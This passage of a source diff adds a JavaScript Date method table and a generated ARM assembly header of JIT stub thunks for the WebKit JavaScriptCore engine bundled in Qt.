+   { "setHours", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(dateProtoFuncSetHours), (intptr_t)4 },
+   { "setUTCHours", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(dateProtoFuncSetUTCHours), (intptr_t)4 },
+   { "setDate", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(dateProtoFuncSetDate), (intptr_t)1 },
+   { "setUTCDate", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(dateProtoFuncSetUTCDate), (intptr_t)1 },
+   { "setMonth", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(dateProtoFuncSetMonth), (intptr_t)2 },
+   { "setUTCMonth", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(dateProtoFuncSetUTCMonth), (intptr_t)2 },
+   { "setFullYear", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(dateProtoFuncSetFullYear), (intptr_t)3 },
+   { "setUTCFullYear", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(dateProtoFuncSetUTCFullYear), (intptr_t)3 },
+   { "setYear", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(dateProtoFuncSetYear), (intptr_t)1 },
+   { "getYear", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(dateProtoFuncGetYear), (intptr_t)0 },
+   { "toJSON", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(dateProtoFuncToJSON), (intptr_t)0 },
    { 0, 0, 0, 0 }
 };
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/generated/GeneratedJITStubs_RVCT.h b/src/3rdparty/webkit/JavaScriptCore/generated/GeneratedJITStubs_RVCT.h
new file mode 100644
index 0000000..94ab756
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/generated/GeneratedJITStubs_RVCT.h
@@ -0,0 +1,1199 @@
+extern "C" EncodedJSValue JITStubThunked_op_convert_this(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_convert_this(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_convert_this
+    str lr, [sp, #32]
+    bl JITStubThunked_op_convert_this
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" void JITStubThunked_op_end(STUB_ARGS_DECLARATION);
+__asm void cti_op_end(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_end
+    str lr, [sp, #32]
+    bl JITStubThunked_op_end
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_add(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_add(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_add
+    str lr, [sp, #32]
+    bl JITStubThunked_op_add
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_pre_inc(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_pre_inc(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_pre_inc
+    str lr, [sp, #32]
+    bl JITStubThunked_op_pre_inc
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" int JITStubThunked_timeout_check(STUB_ARGS_DECLARATION);
+__asm int cti_timeout_check(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_timeout_check
+    str lr, [sp, #32]
+    bl JITStubThunked_timeout_check
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" void JITStubThunked_register_file_check(STUB_ARGS_DECLARATION);
+__asm void cti_register_file_check(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_register_file_check
+    str lr, [sp, #32]
+    bl JITStubThunked_register_file_check
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" int JITStubThunked_op_loop_if_lesseq(STUB_ARGS_DECLARATION);
+__asm int cti_op_loop_if_lesseq(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_loop_if_lesseq
+    str lr, [sp, #32]
+    bl JITStubThunked_op_loop_if_lesseq
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" JSObject* JITStubThunked_op_new_object(STUB_ARGS_DECLARATION);
+__asm JSObject* cti_op_new_object(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_new_object
+    str lr, [sp, #32]
+    bl JITStubThunked_op_new_object
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" void JITStubThunked_op_put_by_id_generic(STUB_ARGS_DECLARATION);
+__asm void cti_op_put_by_id_generic(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_put_by_id_generic
+    str lr, [sp, #32]
+    bl JITStubThunked_op_put_by_id_generic
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_get_by_id_generic(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_get_by_id_generic(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_get_by_id_generic
+    str lr, [sp, #32]
+    bl JITStubThunked_op_get_by_id_generic
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" void JITStubThunked_op_put_by_id(STUB_ARGS_DECLARATION);
+__asm void cti_op_put_by_id(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_put_by_id
+    str lr, [sp, #32]
+    bl JITStubThunked_op_put_by_id
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" void JITStubThunked_op_put_by_id_fail(STUB_ARGS_DECLARATION);
+__asm void cti_op_put_by_id_fail(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_put_by_id_fail
+    str lr, [sp, #32]
+    bl JITStubThunked_op_put_by_id_fail
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" JSObject* JITStubThunked_op_put_by_id_transition_realloc(STUB_ARGS_DECLARATION);
+__asm JSObject* cti_op_put_by_id_transition_realloc(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_put_by_id_transition_realloc
+    str lr, [sp, #32]
+    bl JITStubThunked_op_put_by_id_transition_realloc
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_get_by_id_method_check(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_get_by_id_method_check(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_get_by_id_method_check
+    str lr, [sp, #32]
+    bl JITStubThunked_op_get_by_id_method_check
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_get_by_id(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_get_by_id(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_get_by_id
+    str lr, [sp, #32]
+    bl JITStubThunked_op_get_by_id
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_get_by_id_self_fail(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_get_by_id_self_fail(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_get_by_id_self_fail
+    str lr, [sp, #32]
+    bl JITStubThunked_op_get_by_id_self_fail
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_get_by_id_getter_stub(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_get_by_id_getter_stub(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_get_by_id_getter_stub
+    str lr, [sp, #32]
+    bl JITStubThunked_op_get_by_id_getter_stub
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_get_by_id_custom_stub(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_get_by_id_custom_stub(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_get_by_id_custom_stub
+    str lr, [sp, #32]
+    bl JITStubThunked_op_get_by_id_custom_stub
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_get_by_id_proto_list(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_get_by_id_proto_list(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_get_by_id_proto_list
+    str lr, [sp, #32]
+    bl JITStubThunked_op_get_by_id_proto_list
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_get_by_id_proto_list_full(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_get_by_id_proto_list_full(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_get_by_id_proto_list_full
+    str lr, [sp, #32]
+    bl JITStubThunked_op_get_by_id_proto_list_full
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_get_by_id_proto_fail(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_get_by_id_proto_fail(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_get_by_id_proto_fail
+    str lr, [sp, #32]
+    bl JITStubThunked_op_get_by_id_proto_fail
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_get_by_id_array_fail(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_get_by_id_array_fail(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_get_by_id_array_fail
+    str lr, [sp, #32]
+    bl JITStubThunked_op_get_by_id_array_fail
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_get_by_id_string_fail(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_get_by_id_string_fail(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_get_by_id_string_fail
+    str lr, [sp, #32]
+    bl JITStubThunked_op_get_by_id_string_fail
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_instanceof(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_instanceof(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_instanceof
+    str lr, [sp, #32]
+    bl JITStubThunked_op_instanceof
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_del_by_id(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_del_by_id(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_del_by_id
+    str lr, [sp, #32]
+    bl JITStubThunked_op_del_by_id
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_mul(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_mul(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_mul
+    str lr, [sp, #32]
+    bl JITStubThunked_op_mul
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" JSObject* JITStubThunked_op_new_func(STUB_ARGS_DECLARATION);
+__asm JSObject* cti_op_new_func(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_new_func
+    str lr, [sp, #32]
+    bl JITStubThunked_op_new_func
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" void* JITStubThunked_op_call_JSFunction(STUB_ARGS_DECLARATION);
+__asm void* cti_op_call_JSFunction(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_call_JSFunction
+    str lr, [sp, #32]
+    bl JITStubThunked_op_call_JSFunction
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" VoidPtrPair JITStubThunked_op_call_arityCheck(STUB_ARGS_DECLARATION);
+__asm VoidPtrPair cti_op_call_arityCheck(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_call_arityCheck
+    str lr, [sp, #32]
+    bl JITStubThunked_op_call_arityCheck
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" void* JITStubThunked_vm_lazyLinkCall(STUB_ARGS_DECLARATION);
+__asm void* cti_vm_lazyLinkCall(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_vm_lazyLinkCall
+    str lr, [sp, #32]
+    bl JITStubThunked_vm_lazyLinkCall
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" JSObject* JITStubThunked_op_push_activation(STUB_ARGS_DECLARATION);
+__asm JSObject* cti_op_push_activation(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_push_activation
+    str lr, [sp, #32]
+    bl JITStubThunked_op_push_activation
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_call_NotJSFunction(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_call_NotJSFunction(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_call_NotJSFunction
+    str lr, [sp, #32]
+    bl JITStubThunked_op_call_NotJSFunction
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" void JITStubThunked_op_create_arguments(STUB_ARGS_DECLARATION);
+__asm void cti_op_create_arguments(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_create_arguments
+    str lr, [sp, #32]
+    bl JITStubThunked_op_create_arguments
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" void JITStubThunked_op_create_arguments_no_params(STUB_ARGS_DECLARATION);
+__asm void cti_op_create_arguments_no_params(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_create_arguments_no_params
+    str lr, [sp, #32]
+    bl JITStubThunked_op_create_arguments_no_params
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" void JITStubThunked_op_tear_off_activation(STUB_ARGS_DECLARATION);
+__asm void cti_op_tear_off_activation(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_tear_off_activation
+    str lr, [sp, #32]
+    bl JITStubThunked_op_tear_off_activation
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" void JITStubThunked_op_tear_off_arguments(STUB_ARGS_DECLARATION);
+__asm void cti_op_tear_off_arguments(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_tear_off_arguments
+    str lr, [sp, #32]
+    bl JITStubThunked_op_tear_off_arguments
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" void JITStubThunked_op_profile_will_call(STUB_ARGS_DECLARATION);
+__asm void cti_op_profile_will_call(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_profile_will_call
+    str lr, [sp, #32]
+    bl JITStubThunked_op_profile_will_call
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" void JITStubThunked_op_profile_did_call(STUB_ARGS_DECLARATION);
+__asm void cti_op_profile_did_call(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_profile_did_call
+    str lr, [sp, #32]
+    bl JITStubThunked_op_profile_did_call
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" void JITStubThunked_op_ret_scopeChain(STUB_ARGS_DECLARATION);
+__asm void cti_op_ret_scopeChain(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_ret_scopeChain
+    str lr, [sp, #32]
+    bl JITStubThunked_op_ret_scopeChain
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" JSObject* JITStubThunked_op_new_array(STUB_ARGS_DECLARATION);
+__asm JSObject* cti_op_new_array(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_new_array
+    str lr, [sp, #32]
+    bl JITStubThunked_op_new_array
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_resolve(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_resolve(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_resolve
+    str lr, [sp, #32]
+    bl JITStubThunked_op_resolve
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" JSObject* JITStubThunked_op_construct_JSConstruct(STUB_ARGS_DECLARATION);
+__asm JSObject* cti_op_construct_JSConstruct(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_construct_JSConstruct
+    str lr, [sp, #32]
+    bl JITStubThunked_op_construct_JSConstruct
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_construct_NotJSConstruct(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_construct_NotJSConstruct(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_construct_NotJSConstruct
+    str lr, [sp, #32]
+    bl JITStubThunked_op_construct_NotJSConstruct
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_get_by_val(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_get_by_val(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_get_by_val
+    str lr, [sp, #32]
+    bl JITStubThunked_op_get_by_val
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_get_by_val_string(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_get_by_val_string(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_get_by_val_string
+    str lr, [sp, #32]
+    bl JITStubThunked_op_get_by_val_string
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_get_by_val_byte_array(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_get_by_val_byte_array(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_get_by_val_byte_array
+    str lr, [sp, #32]
+    bl JITStubThunked_op_get_by_val_byte_array
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_sub(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_sub(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_sub
+    str lr, [sp, #32]
+    bl JITStubThunked_op_sub
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" void JITStubThunked_op_put_by_val(STUB_ARGS_DECLARATION);
+__asm void cti_op_put_by_val(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_put_by_val
+    str lr, [sp, #32]
+    bl JITStubThunked_op_put_by_val
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" void JITStubThunked_op_put_by_val_byte_array(STUB_ARGS_DECLARATION);
+__asm void cti_op_put_by_val_byte_array(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_put_by_val_byte_array
+    str lr, [sp, #32]
+    bl JITStubThunked_op_put_by_val_byte_array
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_lesseq(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_lesseq(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_lesseq
+    str lr, [sp, #32]
+    bl JITStubThunked_op_lesseq
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" int JITStubThunked_op_load_varargs(STUB_ARGS_DECLARATION);
+__asm int cti_op_load_varargs(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_load_varargs
+    str lr, [sp, #32]
+    bl JITStubThunked_op_load_varargs
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_negate(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_negate(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_negate
+    str lr, [sp, #32]
+    bl JITStubThunked_op_negate
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_resolve_base(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_resolve_base(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_resolve_base
+    str lr, [sp, #32]
+    bl JITStubThunked_op_resolve_base
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_resolve_skip(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_resolve_skip(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_resolve_skip
+    str lr, [sp, #32]
+    bl JITStubThunked_op_resolve_skip
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_resolve_global(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_resolve_global(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_resolve_global
+    str lr, [sp, #32]
+    bl JITStubThunked_op_resolve_global
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_div(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_div(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_div
+    str lr, [sp, #32]
+    bl JITStubThunked_op_div
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_pre_dec(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_pre_dec(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_pre_dec
+    str lr, [sp, #32]
+    bl JITStubThunked_op_pre_dec
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" int JITStubThunked_op_jless(STUB_ARGS_DECLARATION);
+__asm int cti_op_jless(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_jless
+    str lr, [sp, #32]
+    bl JITStubThunked_op_jless
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" int JITStubThunked_op_jlesseq(STUB_ARGS_DECLARATION);
+__asm int cti_op_jlesseq(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_jlesseq
+    str lr, [sp, #32]
+    bl JITStubThunked_op_jlesseq
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_not(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_not(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_not
+    str lr, [sp, #32]
+    bl JITStubThunked_op_not
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" int JITStubThunked_op_jtrue(STUB_ARGS_DECLARATION);
+__asm int cti_op_jtrue(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_jtrue
+    str lr, [sp, #32]
+    bl JITStubThunked_op_jtrue
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_post_inc(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_post_inc(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_post_inc
+    str lr, [sp, #32]
+    bl JITStubThunked_op_post_inc
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" int JITStubThunked_op_eq(STUB_ARGS_DECLARATION);
+__asm int cti_op_eq(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_eq
+    str lr, [sp, #32]
+    bl JITStubThunked_op_eq
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" int JITStubThunked_op_eq_strings(STUB_ARGS_DECLARATION);
+__asm int cti_op_eq_strings(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_eq_strings
+    str lr, [sp, #32]
+    bl JITStubThunked_op_eq_strings
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_lshift(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_lshift(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_lshift
+    str lr, [sp, #32]
+    bl JITStubThunked_op_lshift
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_bitand(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_bitand(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_bitand
+    str lr, [sp, #32]
+    bl JITStubThunked_op_bitand
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_rshift(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_rshift(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_rshift
+    str lr, [sp, #32]
+    bl JITStubThunked_op_rshift
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_bitnot(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_bitnot(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_bitnot
+    str lr, [sp, #32]
+    bl JITStubThunked_op_bitnot
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_resolve_with_base(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_resolve_with_base(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_resolve_with_base
+    str lr, [sp, #32]
+    bl JITStubThunked_op_resolve_with_base
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" JSObject* JITStubThunked_op_new_func_exp(STUB_ARGS_DECLARATION);
+__asm JSObject* cti_op_new_func_exp(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_new_func_exp
+    str lr, [sp, #32]
+    bl JITStubThunked_op_new_func_exp
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_mod(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_mod(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_mod
+    str lr, [sp, #32]
+    bl JITStubThunked_op_mod
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_less(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_less(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_less
+    str lr, [sp, #32]
+    bl JITStubThunked_op_less
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_post_dec(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_post_dec(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_post_dec
+    str lr, [sp, #32]
+    bl JITStubThunked_op_post_dec
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_urshift(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_urshift(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_urshift
+    str lr, [sp, #32]
+    bl JITStubThunked_op_urshift
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_bitxor(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_bitxor(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_bitxor
+    str lr, [sp, #32]
+    bl JITStubThunked_op_bitxor
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" JSObject* JITStubThunked_op_new_regexp(STUB_ARGS_DECLARATION);
+__asm JSObject* cti_op_new_regexp(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_new_regexp
+    str lr, [sp, #32]
+    bl JITStubThunked_op_new_regexp
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_bitor(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_bitor(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_bitor
+    str lr, [sp, #32]
+    bl JITStubThunked_op_bitor
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_call_eval(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_call_eval(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_call_eval
+    str lr, [sp, #32]
+    bl JITStubThunked_op_call_eval
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_throw(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_throw(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_throw
+    str lr, [sp, #32]
+    bl JITStubThunked_op_throw
